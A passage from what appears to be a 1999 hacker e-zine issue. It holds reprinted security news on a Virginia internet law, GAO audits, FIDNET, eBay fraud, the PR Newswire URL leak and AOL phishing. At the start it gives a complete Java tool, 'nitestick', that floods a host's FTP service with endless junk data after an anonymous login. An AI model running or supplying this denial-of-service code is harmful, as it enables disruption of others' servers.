KeyRoot: Mnemonic, icesk, Pneuma, Vortexia, * secto0r, NtWaK0, f0bic and Axess. Greetz also fly out to Cruciphux, jus, * Moe1, ColdBlood, Timewiz and everyone who hangs in #!krs on EFNet and in * #hack on BlabberNet - I feel for y'all. :] * */ import java.io.*; import java.net.*; public class nitestick { public static void main(String[] args) throws IOException { Socket evilSocket = null; PrintWriter out = null; if (args.length != 1) { System.out.println("Syntax: java nitestick [hostname]"); System.exit(0); } // Shameless Self-Glorification Banner :-/ System.out.print("nitestick.java by wyze1\n\n"); try { evilSocket = new Socket(args[0], 21); out = new PrintWriter(evilSocket.getOutputStream(), true); } catch (UnknownHostException e) { System.out.println("Hostname lookup for " + args[0] + " failed."); System.exit(1); } catch (IOException e) { System.out.println("I/O Error"); System.exit(1); } System.out.println("Connected to " + args[0]); out.println("USER anonymous"); out.print("PASS m0mma-aLwAyz-t0Ld-mE-WiNd0Ze-FTP-dAeM0nz-SuCkeD-BuT-DiD-I-LisSun-N"); System.out.print("Right, just leave this running until you feel like being kind. :)"); for (;;) { out.print("OOOOoooOoooOOooooOOoooOOOO"); } } } @HWA 46.0 VIRGINIA'S INTERNET LAW CHALLENGED ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 10:55 pm CET Civil rights advocates and 15 Internet businesses filed a federal lawsuit yesterday challenging the constitutionality of a new Virginia law that seeks to ban from the Internet commercial material that could be considered harmful to juveniles. The lawsuit alleges that to comply with the law, Internet users and businesses "will be obliged to self-censor their speech, thus reducing the adult population in cyberspace to reading and communicating only material that is suitable for juveniles." The misdemeanor carries penalties of up to 12 months in jail and a fine of up to $2,500. Full story http://www.washingtonpost.com/wp-srv/WPcap/1999-10/07/037r-100799-idx.html Virginia's Internet Law Challenged Ban to Protect Children Called Unconstitutional By Leef Smith Washington Post Staff Writer Thursday, October 7, 1999; Page B01 Civil rights advocates and 15 Internet businesses filed a federal lawsuit yesterday challenging the constitutionality of a new Virginia law that seeks to ban from the Internet commercial material that could be considered harmful to juveniles. The lawsuit, which names Virginia Gov. James S. Gilmore III and Attorney General Mark L. Earley as defendants, was filed by companies, authors and the nonprofit group People for the American Way. It alleges that to comply with the law, Internet users and businesses "will be obliged to self-censor their speech, thus reducing the adult population in cyberspace to reading and communicating only material that is suitable for juveniles." Larry Ottinger, a lawyer for People for the American Way, said yesterday that by trying to shield children from potentially harmful material, the law would effectively censor the free exchange of ideas that exists on the Internet. "The law is ineffective and harmful to business and the development of this medium," Ottinger said. "It threatens the public's ability to communicate and to receive valuable information on the Internet about health, the arts, literature and through conversations that go back and forth between friends." A spokesman for the attorney general's office said that officials could not comment because their office may be involved in this pending litigation. The Virginia General Assembly enacted the law April 7 over the objections of Gilmore, who tried to delay its consideration for a year, a spokeswoman for the governor's office said. Officials say no one has been charged under the law, which went into effect July 1. The misdemeanor carries penalties of up to 12 months in jail and a fine of up to $2,500. Del. Robert G. Marshall (R-Prince William), who sponsored the bill, said it was carefully crafted to target a narrow audience--those who sell pornography to children--and he criticized assertions that the law is not constitutional. The law, he said, goes after the "commercial transaction where a pornographer is selling for money certain material that's harmful to minors and he's using the Internet or e-mail or selling CD-ROMs, which otherwise are legal in the absence of a statute," Marshall said. "You can give this garbage away and you're not going to be prosecuted. If you sell it, that's when you run into problems." The law makes it a crime to knowingly sell, rent or loan to a juvenile electronic files or messages containing an image "which depicts sexually explicit nudity, sexual conduct or sadomasochistic abuse and which is harmful to juveniles." The law also bars displaying such material for commercial purposes in a way that juveniles can "examine and peruse" it. The law also applies to verbal descriptions or narrative accounts of sex that could be damaging to children. Plaintiffs in the lawsuit include a wide range of businesses, advocates of free speech and authors. They include: Herndon-based PSINet, Inc., one of the world's largest providers of Internet-related services; author Harlan Ellison; the Comic Book Legal Defense Fund; Lambda Rising Bookstores, the nation's largest specialty retailer of gay and lesbian materials; and the Sexual Health Network, an Internet-based company that provides sex education materials for people with disabilities or chronic illness. John LoGalbo, an lawyer for PSINet, said the law places Internet service providers in an "impossible" situation in which they're faced with censoring the materials put online by their customers or risking prosecution. "Virginia is attempting to tell people all over the world what they can and cannot put on the Internet," LoGalbo said. "The Virginia law is a top-down, government-knows-best approach. Even if that was the right way, it won't work. You can't control what people all over the world place on the Internet." The lawsuit argues that parents and other Internet users can use software on their computers to restrict children's access to pornographic and other online sites they consider unsuitable. © Copyright 1999 The Washington Post Company @HWA 47.0 SECURITY WEAKNESSES PREVALENT AT TREASURY'S FMS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 2:05 am CET Systematic security weaknesses at the Treasury Department's Financial Management Service could leave the billions of dollars collected and paid out by the organization open to fraud, according to the General Accounting Office. Weaknesses include poor access control that leaves systems open to unauthorized users, and inadequate software development control that opens applications to poorly written code and backdoors. FMS also is moving to a new distributed computing environment that could further increase the security risks, GAO said. Full story http://www.fcw.com/pubs/fcw/1999/1004/web-fms-10-06-99.html OCTOBER 6, 1999 . . . 16:15 EDT Security weaknesses prevalent at Treasury's FMS BY DIANE FRANK (dfrank@fcw.com) Systematic security weaknesses at the Treasury Department's Financial Management Service could leave the billions of dollars collected and paid out by the organization open to fraud, according to the General Accounting Office. The weaknesses stem from the lack of a centralized enterprise security management plan, despite a 1998 GAO report that pointed out the need for one. In this year's audit, GAO found that FMS had taken action to improve security. But three of the seven FMS centers have made little or no progress, and the most recent audit found new weaknesses, the report stated. Weakness include poor access control that leaves systems open to unauthorized users, and inadequate software development control that opens applications to poorly written code and back doors. FMS also is moving to a new distributed computing environment that could further increase the security risks, GAO said. @HWA 48.0 FEDERAL SECURITY PLAN WILL SEEK CORPORATE BUY-IN ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 1:45 am CET Federal officials say they need private-sector "buy-in" to protect critical public and private information systems. But these officials also acknowledged at a congressional hearing today that they must first take care of their own security problems, including an ongoing cyberattack that is originating out of Russia. Computerworld http://www.computerworld.com/home/news.nsf/idgnet/9910063usasecure (Online News, 10/06/99 04:52 PM) Federal security plan will seek corporate buy-in By Patrick Thibodeau WASHINGTON -- Federal officials say they need private-sector "buy-in" to protect critical public and private information systems. But these officials also acknowledged at a congressional hearing today that they must first take care of their own security problems, including an ongoing cyberattack that is originating out of Russia. Testifying before a U.S Senate Judiciary subcommittee today, Michael Vatis, a deputy assistant director at the FBI and director of the National Infrastructure Protection Center, offered some details on what may be the leading information security threat in government right now. Vatis, at a hearing of the subcommittee on Technology, Terrorism and Government Information, confirmed a report that there has been an ongoing attack originating out out of Russia that has been aimed at government networks. The attacks have gotten "unclassified but still-sensitive information" about defense-related matters, he said. The investigation, involving a number of federal agencies, has been under way for more than a year and is code-named "Moonlight Maze," Newsweek magazine reported recently. The hearing was called to look at information-security efforts in the public and private sectors. With so much of the nation's critical infrastructure in private hands, a "National Plan" to improve the federal government's information security, due to be released in the next several weeks, will also call for improvements in computer security at private companies. Vatis, testifying on the government's plan to improve information security, said private systems "have significant vulnerabilities" to attacks from hackers, foreign nations, criminals and others. "But we shouldn't act as though the private sector doesn't have its act together and the government does," said Vatis. "There are also significant vulnerabilities in government." The plan, which is being prepared by the Critical Infrastructure Assurance Office (CIAO), a U.S. agency that is coordinating federal information-security planning, won't call for any new laws or regulations that would force companies to take specific actions to strengthen computer networks. Instead, it will seek the "buy-in" of private companies largely through educational and outreach efforts. Federal security planners are also hoping that auditors and insurance companies will make information security a key part a company's risk assessment, effectively forcing laggards to make the necessary security improvements, said one federal official involved in this effort. Peter Browne, a senior vice president at First Union Corp., said government's approach of seeking cooperation over regulations will be more effective then a new government bureaucracy to enforce the regulations. The best practices for improving security at private companies are readily available, but the key is to "hold people accountable for implementing those standards." And one of the best vehicles for ensuring that a company is following best security practices is to have a company's board of directors, usually through an audit committee, question company officials about security, Browne said. The Judiciary hearing was prompted, in part, by disclosure in August of a plan by the Clinton administration to create a massive Federal Intrusion Detection Network called FIDNET (see story). Privacy groups are warning that FIDNET will intrude into private communications. "FIDNET won't monitor any private network or e-mail traffic or confer new authority on any government agency, and will be fully consistent with privacy law and practice -- right?" asked Subcommittee Chairman Sen. John Kyl (R-Ariz.). "Right," responded John S. Tritak, the director of CIAO, who said the intent of FIDNET will involve only civilian government agencies and offer a centralized capability for analyzing unusual activity. When criminal intent is found, law-enforcement agencies will be contacted, he said. The National Plan will ask for $8.4 million in initial funding for the intrusion plan, along with $17 million to provide scholarships to college students for information-technology training. In accepting the money, the student would have to commit to working for the federal government for a certain period of time. Funding will also be used to retrain existing federal workers. @HWA 49.0 CISCO FIREWALL PROMISES PRIVACY ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 1:20 am CET Enter the PIX 5.0 firewall. It includes 56-bit DES IPSec at no charge, of 168-bit 3DES for a low $1.000. The firewall is part of Cisco's effort to accelerate the adoption of VPN and IPSec as an enterprisewide network infrastructure, rather than mere specialty applications. ZDNet http://www.zdnet.com/zdnn/stories/news/0,4586,2348554,00.html -------------------------------------------------------------- This story was printed from ZDNN, located at http://www.zdnet.com/zdnn. -------------------------------------------------------------- Cisco firewall promises privacy By David Hakala, Sm@rt Reseller October 6, 1999 6:18 AM PT URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2348554,00.html Talk about stealing a page from Microsoft. In a bid to gain market share in the security arena, Cisco Systems is bundling virtual-private-network (VPN) capabilities with its PIX 5.0 firewall. The firewall is part of Cisco's effort to to accelerate the adoption of VPN and IPSec as an enterprisewide network infrastructure, rather than mere specialty applications. Toward that end, Cisco has promised to implement VPN capabilities across its product line. Enter the PIX 5.0 firewall. It includes 56-bit DES (Data Encryption Standard) IPSec at no charge, or 168-bit 3DES for a low $1,000. "We now have VPN [capabilities] enabled on everything that Cisco offers," says Chris Blask, Cisco's firewall product manager. "Creating VPNs between various parts of the company will be easier and faster now. A manager will be able to implement an idea right now, instead of waiting months." For resellers, Blask says, the opportunity to sell and deploy enterprise VPNs is "a dam burst waiting to happen." But a VPN flood could drown corporate networks, cautions Greg Tennant, VP of product marketing and development for network carrier Convergent Communications Inc. "VPN encryption takes a lot of processor overhead on the desktop as well as the network," Tennant notes. Cisco plans for hardware accelerators to take the load off routers and firewalls, but that won't help desktop clients. Translation: The savings gained on private-network carrier charges might be eaten up by more powerful PCs. Despite those potential challenges, Tennant welcomes Cisco's VPN strategy. "It makes it very simple for us to add VPN wherever it's needed." Clearly, Cisco's enterprise VPN initiative, coupled with its installed base of VPN-capable hardware, creates lots of potential business for resellers that recommend and deploy security solutions.-------------------------------------------------------------- This story was printed from ZDNN, located at http://www.zdnet.com/zdnn. -------------------------------------------------------------- Cisco firewall promises privacy By David Hakala, Sm@rt Reseller October 6, 1999 6:18 AM PT URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2348554,00.html Talk about stealing a page from Microsoft. In a bid to gain market share in the security arena, Cisco Systems is bundling virtual-private-network (VPN) capabilities with its PIX 5.0 firewall. The firewall is part of Cisco's effort to to accelerate the adoption of VPN and IPSec as an enterprisewide network infrastructure, rather than mere specialty applications. Toward that end, Cisco has promised to implement VPN capabilities across its product line. Enter the PIX 5.0 firewall. It includes 56-bit DES (Data Encryption Standard) IPSec at no charge, or 168-bit 3DES for a low $1,000. "We now have VPN [capabilities] enabled on everything that Cisco offers," says Chris Blask, Cisco's firewall product manager. "Creating VPNs between various parts of the company will be easier and faster now. A manager will be able to implement an idea right now, instead of waiting months." For resellers, Blask says, the opportunity to sell and deploy enterprise VPNs is "a dam burst waiting to happen." But a VPN flood could drown corporate networks, cautions Greg Tennant, VP of product marketing and development for network carrier Convergent Communications Inc. "VPN encryption takes a lot of processor overhead on the desktop as well as the network," Tennant notes. Cisco plans for hardware accelerators to take the load off routers and firewalls, but that won't help desktop clients. Translation: The savings gained on private-network carrier charges might be eaten up by more powerful PCs. Despite those potential challenges, Tennant welcomes Cisco's VPN strategy. "It makes it very simple for us to add VPN wherever it's needed." Clearly, Cisco's enterprise VPN initiative, coupled with its installed base of VPN-capable hardware, creates lots of potential business for resellers that recommend and deploy security solutions. @HWA 50.0 SEATTLE TIMES ON E-BAY SCAMMER ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 1:10 am CET A Seattle-based con artist known as "Jeff Stark" made the most of high-tech anonymity and old-fashioned chutzpah to rip off people who bought items from him using eBay, the Internet's premier auction site. The amount of money involved in the rapid-fire series of rip-offs attributed to Stark is small - only about $3,000. But the story, fraud experts say, is symptomatic of a worsening problem as online auctions expand. Stark, if that's his true name, has not been arrested or charged. Read more http://www.seattletimes.com/news/local/html98/ebay_19991004.html Posted at 01:12 p.m. PDT; Monday, October 4, 1999 How a cyber con artist in Seattle burned e-Bay bidders by Peter Lewis Seattle Times technology reporter A Seattle-based con artist known as "Jeff Stark" made the most of high-tech anonymity and old-fashioned chutzpah to rip off people who bought items from him using eBay, the Internet's premier auction site. Surfing from a Capitol Hill cyber cafe, using a Web-based e-mail account, a free "laser phone" voice-messaging service and an Eastlake mail drop, Stark sold computer and consumer electronics goods in recent weeks. But police and those who were duped say Stark never sent the merchandise. Stark, if that's his true name, has not been arrested or charged. He may not even live in the Seattle area. The amount of money involved in the rapid-fire series of rip-offs attributed to Stark is small - only about $3,000. But the story, fraud experts say, is symptomatic of a worsening problem as online auctions expand. Fraud detectives warn it would be simple for Stark - or those like him - to replicate the scam endlessly, using other names or e-mail accounts. Statistics by the National Consumers League, a Washington, D.C.-based organization that monitors cyberspace, show that Internet fraud is growing - and that auction rip-offs handily outpace all other forms of fraud. The 5,280 auction-related complaints filed in the first six months of 1999 exceed the total for all of last year. And online auctions are soaring in popularity, with big names such as Amazon.com and Yahoo joining the fray. eBay, the market leader, has provided the venue for 57 million auctions since 1995. `I was just a little too trusting' In the Stark case, his victims apparently ignored some clues. For example, Stark insisted on payment by cashier's check or money order, and he declined to go through an escrow service. Moreover, Stark was new to eBay and had no prior record that members could check. "I was just a little too trusting," says Ed Bruneau of Spokane, who had sold or bought items on eBay about 20 times over six months before he learned a bitter lesson courtesy of Stark. "I've got better armor on now." One of the few physical proofs of Stark's existence is his right thumbprint, taken when he cashed a check. Detective Nick Hamm of the Raritan (N.J.) Township Police is trying to obtain the print with the help of a Spokane detective. Both officers are working on behalf of local victims. Especially irksome, both to victims and police, is that the costs of prosecuting such cases often heavily outweigh the loss incurred by a victim. The most any Stark victim lost in a recent round of auctions, for example, appears to be less than $400. As a result, such cases tend to fall through the cracks unless federal authorities take action. But they generally aren't interested unless substantial sums are involved or a particularly vulnerable class of victims is hurt, such as the elderly or those on fixed incomes. Still, Assistant U.S. Attorney Steve Schroeder, who prosecutes computer-crime cases in Western Washington, said of Stark, "I'd be interested in taking a look at this guy." Mail drop on Eastlake Rob Chesnut, a former federal prosecutor who works for eBay, said the company is committed to working with police to combat fraud. He said he regretted that inquiries about Stark from Hamm and Spokane Detective Craig Brenden were misrouted. Hamm says he is seeking a subpoena to get more information on the credit card Stark supplied when he set up his eBay account. With eBay's help, Hamm said, he has identified Stark victims from seven states, and plans to refer the case to federal authorities. Interestingly, eBay doesn't count Spokane's Bruneau as a full-fledged victim, because there is no official record of his transaction to buy a Mac clone from Stark for $309. That's because Bruneau wasn't the official high bidder. "But then Jeff (Stark) said the first guy didn't want it, did I?" Bruneau said. "He couldn't have been more friendly . . . I asked about picking (the computer) up in person. He said, `No problem.' This guy's got steel ones." Stark told Bruneau he lived near Lake Union. But his "residence" turned out to be a footlong steel box in a mail drop on Eastlake Avenue East. Stark put "#88" after the mail drop's street address, causing victims to believe he lived in a condo or apartment. Starting next April, the U.S. Postal Service will require mail centers such as Et Ceteras on Eastlake Avenue East, where Stark had his mail delivered, to designate customers' addresses as personal mailboxes. That will prevent them from being passed off as commercial or residential addresses. Ryan Murphy, owner of Et Ceteras, said he does not condone illegal use of his services, but he defends the use of designations such as "suite" for a mailbox. The government, he contends, should not dictate how small businesses operate. By contrast, Jennell Ramella and Ken Fox, co-owners of the Online Coffee Co., the Capitol Hill cyber cafe where Stark surfed, said the case has served as wake-up call. Authorities linked Stark to the cafe through the unique address assigned every computer attached to the Internet. Since being contacted by police, Ramella and Fox have started requiring identification of all customers. They give the ID back when customers leave, and don't keep copies. Still, they hope that asking for identification will serve as a deterrent. Anonymous e-mail, voicemail Stark used a free, Web-based e-mail account from Yahoo, and he signed up for a free, so-called "laser voicemail" account that lets users record a personalized greeting and retrieve messages. The service does not require its users to even have their own phone. Bidders taken in by Stark say the vast majority of their online transactions have been happy ones - and they don't intend to quit trading over the Internet. "Unfortunately, I got duped this time," said Kathy Scoppettuolo of Flemington, N.J., who was high bidder on a Web TV box, which delivers the Internet over a television. She told Stark she was buying it for her disabled brother. "If he (Stark) had a conscience, he could have made up an excuse (for canceling the sale)," she said. "But he didn't do that. That's why I've become so vocal about this." She added: "Ninety-nine percent of what I've gone through has been positive . . . I just really want to spank this guy." Once Stark's cheating was exposed, his victims turned technology against him, e-mailing among themselves and posting warnings on eBay to other would-be buyers. "Once he was detected, what was interesting was the (online) communication between all the aggrieved parties," said Rolf Pfister of Palm Harbor, Fla. "That certainly helped to curtail any further people getting involved." Pfister said he "dodged a bullet" by backing out as winning bidder for a VHS dubbing deck Stark was selling. Before sending a check for $305, Pfister checked with others who had dealt with Stark and learned he was giving everyone the same excuse for why items hadn't arrived: "Gee, I guess the post office must have lost it." There may be a silver lining. Earlier this year, eBay started an insurance program that allows fraud victims to file claims. The policy is good for up to $200, minus a $25 deductible per claim. @HWA 51.0 FUD FROM THE EMPIRE, THE GLOVES COME OFF ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 12:30 am CET Well Microsoft launched a direct attack against Linux on a page dealing with so-called "LinuxMyths" on their website. Among them my personal favorite: "Linux is not suitable for mainstream usage by business or home users...". I guess I've been fooled, along with about 15 million other idiots. Anyways, responses are coming in from all over the web, personally liked this one. http://www.32bitsonline.com/article.php3?file=issues/199910/gloves2&page=1 FUD Attack from the Empire By Clifford Smith The Penguins Postulates: 1: We are better together than we are alone. 2: If you push something hard enough, it'll fall over. The Gloves Come Off - about the Microsoft web page concerning Linux. I was going to rebuff the Microsoft fuddsters with a point-by-point rebuttal of their first OPEN attack on Linux on their website, but I can't get through it without laughing myself sick.......Instead, I will simply have you do this: Look at the source code for their page and you will see: META NAME="DESCRIPTION" CONTENT="The Linux operating system is not suitable for mainstream usage by business or home users. Today with Windows NT 4.0, customers can be confident in delivering applications that are scalable, secure, and reliable--yet cost effective to deploy and manage. Linux clearly has a long way to go to be competitive with Windows NT 4.0." META NAME="KEYWORDS" CONTENT="Microsoft Windows NT Server 4.0, Linux myths, Windows NT vs Linux, compared with Linux" Now that we have that out of the way, a few observations....... If you all think back to the DOJ trial and what a juggernaut Linux seemed to be when these chimps were defending themselves in court, you might see little differences in their posture. I guess the attitude is "that was then, this is now"....and we all know "the truth" is as flexible and malleable as any press release they'd like to put out. This is the only corporate policy that makes sense of these two very different attitudes - that lying is good if it keeps market share, or fools the judge. Q: If W2K is really that good, Why the PR machine and the smear campaign?? If you owned a trillion dollar software company that owned the desktop for all practical purposes AND had the killer OS (W2K)coming down the pike - would you let the software speak for itself?....I would, unless there was something so hideously wrong with it that it could not stand up by itself. We live in wonderful times if these (highly paid) folks have to spend this much time and effort to debunk the "myth" that a little "Unix-like" operating system could actually be a threat to this trillion dollar company. A "Unix-like" free operating system that does not employ ANY Public Relations Department, has no real paid employees, and still owns 14% of the server market with a projected growth of 25% per year for the next 10 years (anectdotal evidence courtesy of IDG, 1998) .........I really feel sorry for them. And, after all, don't they have better things to do with their time? Why haven't they explained why W2K is past 27 million lines of code and not close to living up to the PROMISES (DNA, etc.) Microsoft has been making. And, hey, it IS a little behind schedule now, isn't it?? I just love the part about how "Linux is not suitable for mainstream usage by business or home users...". I guess I've been fooled, along with about 15 million other idiots, by that wily Finn and his minions into thinking I actually have uptimes of a year and can serve all the visitors to my website month after month without having to reboot the computer on a daily basis. By the way, a 99.9% uptime means exactly that: Reboot once a day, if rebooting takes 1.44 minutes. .......Hardly something I'd be bragging about. And, oddly enough, rebooting is the FIRST thing my Microsoft certified friend says he has to do when there is ANY problem with his servers....... This is a corporation that couldn't even get it right when they had access to the source code of UNIX through their partial ownership of SCO..... The only operating system on the planet NT4 is superior to is Win3.11........... It seems odd to me that the timing of this little web page coincides with the failure of the ZDN test of webserver security. (If you don't think MS had anything to do with it, just ask yourself this: who is ZDN's largest advertiser?). The way it was handled had Microsoft written all over it. "you gotta put all the patches in one place..." or some drivel... Remember that the Department of Justice and 20 states filed antitrust claims against Microsoft. The DOJ couldn't arrange to effectively take on Organized Crime, but took time to attempt an antitrust action against Microsoft. For those of you who are interested, an antitrust action is just above Not Playing Nice and just below Racketeering. Something else to keep in mind is the fact that, towards the end of the DOJ trial, Microsoft PAID for a newspaper advertisement that was supposed to be an open letter to the Court proclaiming Microsoft the Benevolent and Gracious company that they would have you believe. That backfired, too. It seems the real business of Microsoft is the FUD and the BS disguised as "studies" and the really crappy hacks disguised as operating system. It seems Microsoft uses rumor and innuendo, Fear, Uncertainty and Doubt, forgetfullness on the witness stand and tactics, instead of software that is truly reliable and usable. If their operating systems were worth what they CLAIM they are, Linux would still be a schoolboy's oddity, Sun would be out of business, and Novell would be a fond memory. Once Upon a time, in western Europe, that cradle of all things Eurocentric, folks believed that the earth was flat. Anyone who said otherwise was routinely called an idiot, a blasphemer, or worse. It was a KNOWN FACT in 1490 or so that the earth was flat, dammit. And because everyone knew it, it was true. The Big Industries at the time (the church and the state) said so. What they did not know was that the Vikings had been doing those Viking things - sailing around and pillaging for some time before 1490 in what we now call the Americas.....Columbus had to find "the West Indies" for Western Europe to figure out that the earth wasn't flat. Ah, the land of the penguin. Still way ahead of the Known Facts, but pointing the way. FUD Attack from the Empire @HWA. 52.0 READ WIRE NEWS BEFORE IT'S ON IT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Wednesday 6th October 1999 on 12:25 pm CET If Joe Q. Daytrade knew that WorldCom was going to buy Sprint 10 minutes before the daytrading masses, he'd probably pop open his online trading account in a hurry. This scenario may not be far off, if the vulnerability recently exposed at a major newswire service is any indication: A data-hole that displayed news releases to anyone with a Web browser appeared on news distributor PR Newswire's site late last week. The company has yet to patch the hole but said it is working to resolve the matter. Wired http://www.wired.com/news/business/story/22083.html?wnpg=all PR Newswire's Unintended Scoops by Chris Oakes 3:00 a.m. 5.Oct.99.PDT If Joe Q. Daytrade knew that WorldCom was going to buy Sprint 10 minutes before the daytrading masses, he'd probably pop open his online trading account in a hurry. This scenario may not be far off, if the vulnerability recently exposed at a major newswire service is any indication: A data-hole that displayed news releases to anyone with a Web browser appeared on news distributor PR Newswire's site late last week. The company has yet to patch the hole but said it is working to resolve the matter. The hole, found late last week by Colorado-based software consultant Tim Van Tongeren, is found in PR Newswire's Web page addressing scheme. Van Tongeren said he was looking for a new release at the service's site Thursday and noticed that new releases were numbered in simple numerical sequence, by way of a number contained in the URL of each announcement. "I was getting bored [having to repeatedly go back] to the headline news page, so I just started putting in new numbers," he said. Voila -- he was soon reading news releases 10-20 minutes before they showed up on the PR Newswire site or other Web sources of press releases. Day traders, analysts, and observers pointed out that such an info-leak could pay handsome returns to the intrepid stock-watcher. "If some big announcement comes out 15 minutes early, they could make use of that and, if appropriate, trade on that information," said David Scott, marketing director for Newsedge, a real-time news service that distributes PR Newswire among its many feeds. "It's a really big deal. You could see a situation where, if [the news] moves the market, they could make trades." There are SEC disclosure regulations preventing the early release of company information to unauthorized sources. But the company, which acknowledged the presence of the hole, said those disclosure restrictions were not breached. "There is no problem with our getting releases out for disclosure purposes," said PR Newswire spokesperson Renu Aldrich, "because by the time we send it even to our Web site, it's already gone out to 2,500 media points, which includes Dow Jones, Reuters, Bloomberg. They have hundreds of thousands of subscribers." Plus, she said, the potential impact was reduced by the fact that the announcements are distributed to qualified media outlets well before they could be accessed via the glitch. About 2,500 media and financial information points receive the data simultaneously, she said. "So even if someone gets it through the loophole it's still not really a problem for disclosure purposes." Wired News used the loophole to access a company earnings report and recorded a 12-minute delay before the same announcement appeared on an internal newswire service. Another nine minutes passed before it appeared on PR Newswire's own Web site; and 18-20 minutes before it appeared on common free wire sources on the Web, such as Yahoo and ETrade. So how meaningful would a 10-minute jump on news be to a daytrader? "Very meaningful," said Chicago-based daytrader Damon Brill, especially if the news was say, WorldCom buying Sprint -- an announcement almost sure to send Sprint's stock price up. "It would only matter if I were one of only a select few that obtained that information. However, if I did obtain that prior to most, I would be able to make pre-emptive buy or short-sell decisions that would allow me to beat the market." Brill said he pays close attention to selected companies via business news wires, and "if [the news is] big enough, I react." Earnings reports and acquisitions news are among the types of announcements that would be nice to have in advance, he said. "But I also know that many traders are as quick, if not quicker than I am. So I take most stories with a grain of salt." That's the same reason Dave Otto, director of retail brokering for investment research firm Edward Jones, said a 10-minute advance wouldn't mean much for the average investor. "The opportunity to buy or sell based on a press release is limited at best -- very limited," Otto said. "Even with the professionals, it takes them time to digest the information.... If you're very quick on the trigger and you're very lucky, there's an outside chance you can profit from the information." Meanwhile, the company said the hole was at the very least a security issue it intends to resolve as soon as possible. "We take security very, very seriously," said Aldrich. "We take a lot of steps to make sure that nobody gets an edge over someone else in terms of viewing material news." @HWA 53.0 Y2K LESSONS APPLY TO INFORMATION SECURITY ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Wednesday 6th October 1999 on 12:15 pm CET The federal government must apply the lessons it has learned from addressing the Year 2000 problem to its efforts to protect its critical infrastructure from information security threats, according to a General Accounting Office report issued this week. "While differences exist, many of the efforts that have been undertaken to manage and remedy the Year 2000 problem can also be applied to these longer term challenges," the report stated. "Some of these 'lessons' are already apparent. However, it is likely that other will emerge as the Year 2000 transition period unfolds." Federal Computer Week http://www.fcw.com/pubs/fcw/1999/1004/web-gaocip-10-05-99.html OCTOBER 5, 1999 . . . 17:52 EDT Y2K lessons apply to information security BY DIANE FRANK (diane_frank@fcw.com) The federal government must apply the lessons it has learned from addressing the Year 2000 problem to its efforts to protect its critical infrastructure from information security threats, according to a General Accounting Office report issued this week. "While differences exist, many of the efforts that have been undertaken to manage and remedy the Year 2000 problem can also be applied to these longer term challenges," the report stated. "Some of these 'lessons' are already apparent. However, it is likely that other will emerge as the Year 2000 transition period unfolds." The report was requested by Sen. Robert Bennett (R-Calif.), chairman of the Senate Special Committee on the Year 2000 Technology Problem. Bennett and his committee for several months have been tracking the issue of how resources and infrastructure put in place to solve the Year 2000 problem could be used to help solve critical infrastructure threats. The report supports many of the findings of the committee. It highlighted the need for high-level congressional and executive branch leadership; the establishment of public-private sector relationships; and greater oversight to monitor agencies' performance. @HWA 54.0 AOL SPAM SCAN CONTINUES TO MAKE VICTIMS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Wednesday 6th October 1999 on 12:10 pm CET AOL alerted customers in April that emails reporting an "AOL Billing Problem" or titled "AOL Rewards," for example, were tricking recipients into visiting a non-AOL Web site. Once at the Web site, users were asked to enter their usernames and passwords to receive special offers. The AOL users' accounts were then accessed by the unauthorized parties and used to send spam or commit other fraud, the company said. Although AOL says it posted warning notices about the spam on several areas of its service, some if its 18 million subscribers continue to be duped. Story http://news.cnet.com/news/0-1005-200-808497.html?tag=st.ne.1002.bgif?st.ne.fd.gif.k AOL users lured into spam scam By Courtney Macavinta Staff Writer, CNET News.com October 5, 1999, 4:30 p.m. PT Despite months of warnings, America Online subscribers continue to fall prey to an email scam that enables spammers to hijack their accounts. AOL alerted customers in April that emails reporting an "AOL Billing Problem" or titled "AOL Rewards," for example, were tricking recipients into visiting a non-AOL Web site. Once at the Web site, users were asked to enter their usernames and passwords to receive special offers. The AOL users' accounts were then accessed by the unauthorized parties and used to send spam or commit other fraud, the company said. Although AOL says it posted warning notices about the spam on several areas of its service, some if its 18 million subscribers continue to be duped. The Spam Recycling Center, which forwards suspicious spam to the Federal Trade Commission, issued its own alert about the scam today after it received more than 1,300 submissions of the message targeting AOL users during the past few weeks. "What surprised us was both the number of spams sent to us by AOL users and the spoofed AOL Web sites--at first blush, they are pretty good," said Anthony Phipps, of ChooseYourMail, an "opt in" email marketing firm that set up the Spam Recycling Center. Unsolicited bulk email is one of the most detested--yet hard to combat--problems plaguing the Net. It clogs Net users' email boxes and service providers' networks. For the past few years, Congress has considered, but never passed, legislation to ban spam, or to require that senders label their messages and remove people from their mailing lists upon request. AOL, which has won groundbreaking lawsuits against spammers who trespassed on its network, has no idea how many users have unwittingly given up their account pass codes as a result of the scam. Although the company always is in the process of educating its customers about junk email offers, spam still continues to hit AOL's proprietary service as well as its instant messaging service. "We have told them to beware of emails with hyperlinks, and that AOL will never ask them for a username, password, or billing information via email or instant messaging," AOL spokesman Rich D'Amato said. "It is all part of our ongoing efforts to do away with spam." Taking action AOL works with other Net access providers to combat spammers. In addition, when AOL notices that an account is sending email out to scores of recipients, which it suspects is spam, it will shut the account down. That protocol is how Gregory Walter, a construction manager in South Holland, Illinois, discovered that his account had been hijacked by spammers. Walter tried to log on to his AOL account about two weeks ago but was locked out. When he called AOL, he was told that his account was disabled because it was used to send spam. This was just two days after Walter had responded to one of the emails offering 